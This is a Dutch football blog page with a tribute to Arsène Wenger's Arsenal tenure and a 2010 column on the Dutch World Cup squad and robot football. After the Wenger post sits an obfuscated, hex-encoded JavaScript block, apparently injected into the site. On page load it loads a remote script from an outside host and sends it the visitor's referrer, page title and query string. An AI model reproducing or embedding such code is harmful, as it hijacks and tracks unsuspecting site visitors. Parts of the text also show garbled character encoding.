Feeds:
Berichten
Reacties

Posts Tagged ‘attractiviteit’

Jammer dat-ie de eer niet een paar seizoenen eerder aan zichzelf heeft gehouden. Dan waren hem de nodige hoon en agressie grotendeels bespaard gebleven. Maar een professor is nu eenmaal per definitie eigenwijs. Kiest zijn eigen moment van afscheid. En terecht. Er zijn weinig trainers geweest die zA? hun stempel hebben gedrukt op vooral de speelwijze van een club zoals Arsene Wenger dat heeft gedaan bij Arsenal. Genoeg trainers die meer punten en prijzen hebben gehaald. Maar Cruijff en Guardiola wellicht uitgezonderd, is er geen enkele trainer die ze onmiskenbaar een meer dan acceptabel prestatieniveau wist te koppelen aan vaak uiterst aantrekkelijk, aanvallend en technisch verzorgd voetbal. Met – en ook dat moet gezegd – wel vaak een blinde vlek voor het vereiste niveau van (vooral centrale) verdedigers. Van Keown tot Mertesacker, van Bould tot Loezjny, van Adams tot Senderos.

Die opmerkelijke verschillen in kwaliteit tussen zijn verdedigers en middenvelders/aanvallers waren soms zo navrant dat ik hem er weleens van heb verdacht dit opzettelijk te doen. Om aldus de genialiteit en attractiviteit van het aanvalsspel nA?g beter tot uitdrukking te brengen. Opdat hun sierlijkheid en souplesse nA?g beter afsteken tegen de stramheid en lompheid van de detonerende defenseurs. Dat je, een nagenoeg verwaarloosde verdediging ten spijt, toch een tegenstander stuk kunt spelen met creativiteit, snelheid en effectiviteit. Want wat heeft het Arsenal van Wenger prachtige spelers voortgebracht, die de wonderbaarlijkste combinaties, spelpatronen en doelpunten het licht deden zien! Van Bergkamp tot Van Persie, van Petit tot Wilshere, van PirA?s tot Ramsey, van Fabregas tot A�zil, van Henry tot Welbeck, van Viera tot Rosicky?, van Kanu tot Wiltord, van Limpar tot Ljungberg, van Hleb tot Nasri.

Hij was ook vaak narrig en warrig. In de knoop met zichzelf en met zijn jas. Een slechte verliezer en niet altijd een goede collega. Wenger, kortom, was net een mens. Maar bovenal een revolutionaire voetbaltrainer, die altijd oog had voor de kwaliteit van het spel. Zijn nederlagen en het – vooral de laatste jaren – gebrek aan prijzen leidden er hoogst zelden toe om op de Mourinho-toer te gaan. Een enkele keer liet hij zich ertoe verleiden om zich aan een op papier betere (Barcelona) tegenstander aan te passen, maar verreweg meestentijds koos hij qua tactiek en opstelling voor de voetballende variant, soms tot aan het naA?eve toe. Dat laatste ging met name bij de aanhang steeds meer wringen en mondde uit in de ‘Wenger out’-spreekkoren en -spandoekjes. Nogmaals, dat had-ie zelf kunnen voorkomen door eerder op te stappen. Of zijn naaste omgeving had hem dit in moeten fluisteren, voor zover niet gebeurd.

Dat Le ProfesseurA�zelf bepaalt wanneer hij zijn afscheidscollege geeft, is evenwel zijn volste recht. En dat hij over de uiteindelijke besluitvorming ook narrig en warrig communiceert, is geheel in stijl met zijn persoon. Zoals ook het thuisduel gisteravond tegen Atleti geheel in stijl was: domineren, bij vlagen excelleren, maar toch een tegendoelpunt incasseren. Toch blijven we hopen dat Wenger met de Europa League-Cup op zak zijn Arsenal-loopbaan afsluit. Mij heeft hij met zijn Invincibles ontelbare mooie voetbalmomenten bezorgd en daarvoor ben ik hem eeuwig dankbaar. Als zijn Arsenal in vorm stak, was het puur voetbalkijkgenot. Combinaties waren dan van hogeschoolkwaliteit, het positiespel had tiki-taka-allure en de doelpunten waren dan vaak van een ongekende schoonheid. We geven hem De Schoonheidsprijs als oeuvreprijs. Met onderstaande video als magnum opus. Merci Arsene Wenger!

var _0x31f1=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Read Full Post »

25 juni 2010 – WE hebben de volgende ronde bereikt. De finalisten van 2006 zijn al naar huis. Slowakije is de volkomen onverwachte, volgende tegenstander van Oranje. De cijfers zijn nagenoeg onberispelijk, maar spreken die ook voor zich? Een kijkje in het innerlijk van uw colunmist en een schuchtere poging om de ziel van de voetballiefkenner te doorgronden.

Nog steeds weet ik niet wat ik met het Oranje op dit WK aan moet. Het heet dat er in de Nederlandse voetbalkennersmaatschappij, dus zeg maar in het hele land, een tweedeling is ontstaan tussen de ethici en de cynici. De adepten van schoonheid en attractiviteit versus de predikers van realisme, effectiviteit en resultaatgerichtheid. Ik geloof hier niks van. Nou ja, niks. Volgens mij speelt deze strijd zich voortdurend af binnen elke voetballiefhebber. Het is een klassieke, innerlijke strijd die eeuwig woedt en nimmer gestreden zal zijn. Bovendien spelen er allerlei psychologische factoren mee die het onmogelijk maken om het zwart-wit te duiden, dus is het totaal ongeschikt als gespreksonderwerp in bijvoorbeeld VI Oranje.

Wanneer het ene doel niet wordt bereikt, kan het andere worden aangewend om het ontstane gevoel te compenseren. Wordt er slecht gevoetbald, maar het resultaat is goed, dan benadrukken we dat laatste om onszelf toch nog een beetje gerust te stemmen. Want, het gaat tenslotte om de winst. En omgekeerd gaat het precies eender. Dan wordt de slechte uitkomst gerelativeerd en gebagatelliseerd omdat het spel toch wel erg hoopgevend was. En wordt benadrukt dat voetbal een kijkspel is en dat de toeschouwer waar voor zijn geld moet krijgen.
Ik bedoel maar, opportunisme is niet slechts een smet die aan nogal wat politici en beleidsmakers kleeft – het houdt ook de innerlijke mens in evenwicht en beschermt hem tegen doorslaan naar gevoelens van wanhoop en uitzichtloosheid of juist naar ongemotiveerd optimisme en hoogmoedswaanzin.

Ik besef dat ik nu bezig ben met een wel erg pretentieuze poging om mijn eigen beleving te projecteren op de rest van de samenleving. Laat ik dus maar, en vergeef me het welzijnsjargon, dicht bij mezelf blijven. Wat vind ik van en ervaar ik bij dit Oranje? Met permissie haal ik er dan even het robotvoetbal bij. Want voor wie het nog niet wist: we hebben voor derde achtereenvolgende keer de WK-finale van het robotvoetbal verloren. Van China. De parallellen met het mensenspel dringen zich nog meer op als ik lees dat we wel reeds Europees kampioen zijn geworden.

We citeren de zwaar teleurgestelde Hollandse bondscoach, die wel zijn spelers prees om hun beheerste emoties na afloop: “Bepaalde teams, waaronder dus ook het Chinese, focussen zich op het schieten (lees resultaat, rendement), terwijl anderen zich meer op dribbeltechnieken (lees attractiviteit) richten. Onze robots doen het allebei” En verderop: “Het begint steeds meer op het echte voetbal te lijken.” Tussen haakjes is mijn invulling.

Volgens mij begint juist het ‘echte’ voetbal steeds meer op robotvoetbal te lijken. Vooral wanneer de vedetten, die zich nu eenmaal niet laten programmeren, het om wat voor redenen dan ook laten afweten. En ja, ook Oranje roept bij mij regelmatig associaties op met robotachtig voetbal. Bert van Marwijk zal zeker voor het meer extraverte buitenland de vergelijking met Robocop zeer wel kunnen doorstaan. Kijk, wij weten dat Bert wanneer hij een wenkbrauw ophaalt, in wezen schaterlacht, maar ene Jimenez uit Paraguay of een van de vele Boatengs uit welk land dan ook ziet slechts een mechanische man.

Mark van Bommel speelt fantastisch! Dieter Eilts werd ooit uitgeroepen tot speler van een EK(1996), Bommel is vele malen beter. Het zegt alles over dát toernooi, maar ook over deze editie en zeker ook over dit Oranje, dat weliswaar degelijk speelt, maar zonder franje. Om echter te kunnen excelleren, moet je eerst presteren. Verder komen dus, resultaten neerzetten. Maar in mij wisselen vertrouwen, hoop en optimisme zich voortdurend af met angst en beven, met irritatie en onzekerheid. Niet zozeer voor wat betreft de verdedigende organisatie, want die staat! De oneffendheden tegen Kameroen wijt ik aan hinken op meerdere gedachten. Vooral de angst voor een kaart bij deze onvoorspelbare referee, waardoor de echte scherpte ontbrak.

Het zijn vooral de vorm en de positie van Van Persie, de egocentriciteit in het spel van Sneijder én het gebrek aan diepgang en snelheid voorin die mij regelmatig zorgen baren. Die dan weer tijdelijk worden verdreven door hoopvolle acties. Hoopgevers zijn ook de vorm en gretigheid van potentiële invallers als Elia, Afellay, Huntelaar en De Zeeuw. En natuurlijk onze Arjen, die zowaar door kan groeien van ‘slechts’ een uitzonderlijke voetballer tot een innemende persoonlijkheid. De ingehouden emoties tijdens het interview na afloop behoren nu al tot de meest memorabele tv-beelden van dit WK.

Met robotvoetbal tot op bepaalde hoogte – mag ook op zeeniveau – maar wel gelardeerd met gedeprogrammeerde, onvoorspelbare acties van onze menselijke natuurtalenten, mogen, nee MOETEN we wat mij betreft nu eindelijk maar eens wereldkampioen worden. Daarna mag het resultaatvoetbal definitief worden afgeschaft en moet inderdaad het robotvoetbal eindelijk eens op het echte voetbal gaan lijken.

Read Full Post »

%d bloggers liken dit: